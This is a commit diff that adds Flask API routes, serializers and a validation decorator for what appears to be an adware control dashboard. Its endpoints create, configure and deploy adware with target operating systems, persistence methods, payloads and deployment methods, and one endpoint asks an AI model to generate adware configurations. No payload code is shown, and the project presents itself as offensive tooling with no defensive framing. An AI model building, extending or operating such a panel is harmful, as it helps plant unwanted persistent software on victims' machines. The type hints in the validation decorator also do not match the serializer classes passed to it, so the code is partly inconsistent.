Add files via upload

Author: ProjectZeroDays

src/adware_dashboard/api/routes.py

@@ -0,0 +1,127 @@
+import logging
+from flask import Flask, request, jsonify
+from adware_dashboard.core.adware_manager import AdwareManager
+from adware_dashboard.core.payload_manager import PayloadManager
+from adware_dashboard.core.deployment_manager import DeploymentManager
+from adware_dashboard.core.ai_integration import AIIntegration
+from adware_dashboard.models import Adware, Payload, DeploymentMethod
+from adware_dashboard.api.serializers import AdwareSerializer, PayloadSerializer, DeploymentMethodSerializer
+from adware_dashboard.api.utils import validate_input
+
+def create_api_app(logger: logging.Logger, adware_manager: AdwareManager, payload_manager: PayloadManager, deployment_manager: DeploymentManager, ai_integration: AIIntegration) -> Flask:
+    """
+    Creates and configures the Flask API application.
+
+    Args:
+        logger (logging.Logger): The logger instance to use.
+        adware_manager (AdwareManager): The adware manager instance.
+        payload_manager (PayloadManager): The payload manager instance.
+        deployment_manager (DeploymentManager): The deployment manager instance.
+        ai_integration (AIIntegration): The AI integration instance.
+
+    Returns:
+        Flask: The configured Flask application.
+    """
+    app = Flask(__name__)
+
+    @app.route('/adware', methods=['POST'])
+    @validate_input(AdwareSerializer)
+    def create_adware():
+        """
+        Creates a new adware configuration.
+        """
+        data = request.get_json()
+        try:
+            adware = adware_manager.create_adware(
+                name=data['name'],
+                description=data['description'],
+                target_os=data['target_os'],
+                persistence_method=data['persistence_method'],
+                payload_id=data['payload_id'],
+                deployment_method_id=data['deployment_method_id'],
+                config=data['config']
+            )
+            return jsonify(AdwareSerializer.serialize(adware)), 201
+        except ValueError as e:
+            return jsonify({'error': str(e)}), 400
+
+    @app.route('/adware/<int:adware_id>', methods=['GET'])
+    def get_adware(adware_id):
+        """
+        Retrieves an adware configuration by its ID.
+        """
+        adware = adware_manager.get_adware(adware_id)
+        if adware:
+            return jsonify(AdwareSerializer.serialize(adware)), 200
+        return jsonify({'error': 'Adware not found'}), 404
+
+    @app.route('/adware/<int:adware_id>', methods=['PUT'])
+    @validate_input(AdwareSerializer, partial=True)
+    def update_adware(adware_id):
+        """
+        Updates an existing adware configuration.
+        """
+        data = request.get_json()
+        try:
+            adware = adware_manager.update_adware(adware_id, **data)
+            if adware:
+                return jsonify(AdwareSerializer.serialize(adware)), 200
+            return jsonify({'error': 'Adware not found'}), 404
+        except ValueError as e:
+            return jsonify({'error': str(e)}), 400
+
+    @app.route('/adware/<int:adware_id>', methods=['DELETE'])
+    def delete_adware(adware_id):
+        """
+        Deletes an adware configuration by its ID.
+        """
+        if adware_manager.delete_adware(adware_id):
+            return jsonify({'message': 'Adware deleted successfully'}), 200
+        return jsonify({'error': 'Adware not found'}), 404
+
+    @app.route('/adware', methods=['GET'])
+    def list_adware():
+        """
+        Lists all adware configurations.
+        """
+        adware_list = adware_manager.list_adware()
+        return jsonify([AdwareSerializer.serialize(adware) for adware in adware_list]), 200
+
+    @app.route('/adware/<int:adware_id>/deploy', methods=['POST'])
+    def deploy_adware(adware_id):
+        """
+        Deploys an adware configuration.
+        """
+        if adware_manager.deploy_adware(adware_id):
+            return jsonify({'message': 'Adware deployed successfully'}), 200
+        return jsonify({'error': 'Adware not found or deployment failed'}), 404
+
+    @app.route('/payloads', methods=['GET'])
+    def list_payloads():
+        """
+        Lists all available payloads.
+        """
+        payload_list = payload_manager.list_payloads()
+        return jsonify([PayloadSerializer.serialize(payload) for payload in payload_list]), 200
+
+    @app.route('/deployment_methods', methods=['GET'])
+    def list_deployment_methods():
+        """
+        Lists all available deployment methods.
+        """
+        deployment_method_list = deployment_manager.list_deployment_methods()
+        return jsonify([DeploymentMethodSerializer.serialize(deployment_method) for deployment_method in deployment_method_list]), 200
+
+    @app.route('/ai/generate', methods=['POST'])
+    def generate_ai_config():
+        """
+        Generates an adware configuration using the AI model.
+        """
+        data = request.get_json()
+        try:
+            config = ai_integration.generate_adware_config(data['goal'], data.get('constraints'))
+            return jsonify(config), 200
+        except ValueError as e:
+            return jsonify({'error': str(e)}), 400
+
+    return app

src/adware_dashboard/api/serializers.py

@@ -0,0 +1,85 @@
+from typing import Dict, Any
+import json
+from adware_dashboard.models import Adware, Payload, DeploymentMethod
+
+class AdwareSerializer:
+    @staticmethod
+    def serialize(adware: Adware) -> Dict[str, Any]:
+        """
+        Serializes an Adware object to a dictionary.
+
+        Args:
+            adware (Adware): The Adware object to serialize.
+
+        Returns:
+            Dict[str, Any]: The serialized dictionary.
+        """
+        return {
+            'id': adware.id,
+            'name': adware.name,
+            'description': adware.description,
+            'target_os': adware.target_os,
+            'persistence_method': adware.persistence_method,
+            'payload_id': adware.payload.id,
+            'deployment_method_id': adware.deployment_method.id,
+            'config': json.loads(adware.config) if adware.config else None
+        }
+
+    @staticmethod
+    def deserialize(data: Dict[str, Any]) -> Dict[str, Any]:
+        """
+        Deserializes data to a dictionary suitable for creating or updating an Adware object.
+
+        Args:
+            data (Dict[str, Any]): The data to deserialize.
+
+        Returns:
+            Dict[str, Any]: The deserialized dictionary.
+        """
+        return {
+            'name': data.get('name'),
+            'description': data.get('description'),
+            'target_os': data.get('target_os'),
+            'persistence_method': data.get('persistence_method'),
+            'payload_id': data.get('payload_id'),
+            'deployment_method_id': data.get('deployment_method_id'),
+            'config': json.dumps(data.get('config')) if data.get('config') else None
+        }
+
+class PayloadSerializer:
+    @staticmethod
+    def serialize(payload: Payload) -> Dict[str, Any]:
+        """
+        Serializes a Payload object to a dictionary.
+
+        Args:
+            payload (Payload): The Payload object to serialize.
+
+        Returns:
+            Dict[str, Any]: The serialized dictionary.
+        """
+        return {
+            'id': payload.id,
+            'name': payload.name,
+            'description': payload.description,
+            'file_path': payload.file_path
+        }
+
+class DeploymentMethodSerializer:
+    @staticmethod
+    def serialize(deployment_method: DeploymentMethod) -> Dict[str, Any]:
+        """
+        Serializes a DeploymentMethod object to a dictionary.
+
+        Args:
+            deployment_method (DeploymentMethod): The DeploymentMethod object to serialize.
+
+        Returns:
+            Dict[str, Any]: The serialized dictionary.
+        """
+        return {
+            'id': deployment_method.id,
+            'name': deployment_method.name,
+            'description': deployment_method.description,
+            'config_schema': json.loads(deployment_method.config_schema) if deployment_method.config_schema else None
+        }

src/adware_dashboard/api/utils.py

@@ -0,0 +1,34 @@
+from functools import wraps
+from flask import request, jsonify
+from typing import Callable, Type
+from marshmallow import Schema, ValidationError
+
+def validate_input(serializer: Type[Schema], partial: bool = False) -> Callable:
+    """
+    Validates the input data using a Marshmallow serializer.
+
+    Args:
+        serializer (Type[Schema]): The Marshmallow serializer to use.
+        partial (bool, optional): Whether to allow partial updates. Defaults to False.
+
+    Returns:
+        Callable: The decorated function.
+    """
+    def decorator(func):
+        @wraps(func)
+        def wrapper(*args, **kwargs):
+            try:
+                data = request.get_json()
+                if not data:
+                    return jsonify({'error': 'No input data provided'}), 400
+                deserialized_data = serializer.deserialize(data)
+                if partial:
+                   deserialized_data = {k: v for k, v in deserialized_data.items() if v is not None}
+                request.deserialized_data = deserialized_data
+                return func(*args, **kwargs)
+            except ValidationError as e:
+                return jsonify({'error': str(e)}), 400
+            except Exception as e:
+                return jsonify({'error': 'Invalid input data'}), 400
+        return wrapper
+    return decorator